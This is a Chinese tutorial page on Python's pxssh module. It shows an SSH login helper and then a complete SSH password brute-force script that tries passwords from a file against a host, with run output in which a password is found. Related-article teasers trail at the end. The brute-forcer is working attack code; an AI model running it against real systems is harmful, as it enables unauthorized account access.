pxssh模块——python

1、描述:

pxssh预先已经有了login()、logout()和prompt()等函数直接与ssh进行交互。

1.1 示例代码:


#导入pxssh模块

import pxssh

def send_command(s,cmd):

#发送命令

s.sendline(cmd)

#获取期望的输出提示符

s.prompt()

#显示返回信息

print s.before

def connect(host,user,password):

try:

#创建pxssh对象

s = pxssh.pxssh()

#登陆ssh函数

s.login(host,user,password)

return s

except:

print ‘[-] Error Connecting‘

exit(0)

s = connect(‘127.0.0.1‘,‘test‘,‘test‘)

send_command(s,‘ls /‘)

1.1 运行:

sshPxssh.py是程序的文件名


[email protected]:/usr/python# python sshPxssh.py

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var

1.2 简单ssh暴力破解程序


import pxssh

import optparse

def connect(host,user,password):

print ‘[-] Testing: ‘ + password

try:

s = pxssh.pxssh()

s.login(host,user,password)

print ‘[*] Password Found: ‘+password

except:

print ‘[-] Error Connecting‘

def main():

parser = optparse.OptionParser(‘usage %prog -H <host> -u <user> -F <passfile>‘)

parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)

parser.add_option(‘-u‘,dest=‘user‘,type=‘string‘,help=‘specify the user‘)

parser.add_option(‘-F‘,dest=‘passwdFile‘,type=‘string‘,help=‘passwod file‘)

(options,args) = parser.parse_args()

host = options.tgtHost

passwdFile = options.passwdFile

user = options.user

fn = open(passwdFile,‘r‘)

for line in fn.readlines():

password = line.strip(‘\r‘).strip(‘\n‘)

connect(host,user,password)

if __name__ == ‘__main__‘:

main()

1.2 运行:


[email protected]:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test

时间: 2024-10-06 00:18:34

pxssh模块——python的相关文章

Python进阶(十)----规范化格式目录, time模块, datatime模块,random模块,collection模块(python额外数据类型)

Python进阶(十)----规范化格式目录, time模块, datatime模块,random模块,collection模块(python额外数据类型) 一丶规范化格式目录 六个目录: #### 对某某项目进行一个标准化的开发,进行规范化. #bin : 启动项目程序的主入口 #conf : 项目的配置文件 #core : 主要逻辑(业务逻辑) #db : 存放数据() #lib : 辅助文件(存放公共的一些方法) #README : 项目文档说明 ? 二丶time模块(时间模块) 时间的三

PYTHON学习第二模块 python内置模块介绍

1 >>> import time 2 >>> time.time() 3 1491064723.808669 4 >>> # time.time()返回当前时间的时间戳timestamp(定义为从格林威治时间1970年01月01日00时00分00秒起至现在的总秒数)的方法,无参数 5 >>> time.asctime() 6 'Sun Apr 2 00:39:32 2017' 7 >>> # time.asctim

requests模块--python发送http请求

requests模块 在Python内置模块(urllib.urllib2.httplib)的基础上进行了高度的封装,从而使得Pythoner更好的进行http请求,使用Requests可以轻而易举的完成浏览器可有的任何操作.Requests 是使用 Apache2 Licensed 许可证的 基于Python开发的HTTP 库. requests使用 一.GET请求 向 https://github.com/timeline.json 发送一个GET请求,将请求和响应相关均封装在 ret 对象

csv模块-python

CSV模块式python的内置模块,用于读写CSV文件. testqq.csv文件内容: 序号 姓名 年龄 1 啊啊 10 2 宝宝 15 3 尺寸 17 4 等等 19 5 恩恩 20 6 方法 21 一.从CSV文件读取内容 使用CSV模块的reader函数读CSV文件代码: import  csv f =  open('testqq.csv','rb') reader  = csv.reader(f) for  line in reader: print line 运行结果: >>>

# 进程/线程/协程 # IO:同步/异步/阻塞/非阻塞 # greenlet gevent # 事件驱动与异步IO # Select\Poll\Epoll异步IO 以及selectors模块 # Python队列/RabbitMQ队列

1 # 进程/线程/协程 2 # IO:同步/异步/阻塞/非阻塞 3 # greenlet gevent 4 # 事件驱动与异步IO 5 # Select\Poll\Epoll异步IO 以及selectors模块 6 # Python队列/RabbitMQ队列 7 8 ############################################################################################## 9 1.什么是进程?进程和程序之间有什么

re模块 | Python 3.5.1

https://docs.python.org/3/library/re.html http://www.cnblogs.com/PythonHome/archive/2011/11/19/2255459.html 1.提供正则表达式相关操作 2.模式串和匹配串可以是Unicode或8-bit字符串,但不能混用 3.语法 http://www.cnblogs.com/book-book/p/5411634.html '.' 在DOTALL模式下能匹配'\n' '^'.'$'在MULTILINE模

threading模块—Python多线程编程

Threading 模块 threading 模块除了提供基本的线程和锁定支持外,还提供了更高级别.功能更全面的线程管理.threading 模块支持守护线程,其工作方式是:守护线程一般是一个等待客户端请求的服务器,如果没有客户端请求,守护线程就是空闲的.如果把一个线程设置为守护线程,就表示这个线程是不重要的,进程退出时不需要等待这个线程完成.(如何设置守护线程?只需执行赋值语句: thread.daemon = True ) threading 模块的对象: 对象 描述 Thread 表示一个

sys模块-python解释器交互

sys模块是与python解释器交互的一个接口 sys.argv 命令行参数List,第一个元素是程序本身路径 sys.exit(n) 退出程序,正常退出时exit(0),错误退出sys.exit(1) sys.version 获取Python解释程序的版本信息 sys.path 返回模块的搜索路径,初始化时使用PYTHONPATH环境变量的值 sys.platform 返回操作系统平台名称 import sys try: sys.exit(1) except SystemExit as e:

pyinstaller 模块-python文件生成exe可执行文件

安装 PyInstaller 模块与安装其他 Python 模块一样,使用 pip 命令安装即可.在命令行输入如下命令: pip install pyinstaller 在 PyInstaller 模块安装成功之后,在 Python 的安装目录下的 Scripts(D:\Python\Python36\Scripts) 目录下会增加一个 pyinstaller.exe 程序,接下来就可以使用该工具将 Python 程序生成 EXE 程序了. pyinstaller 选项 Python 源文件 不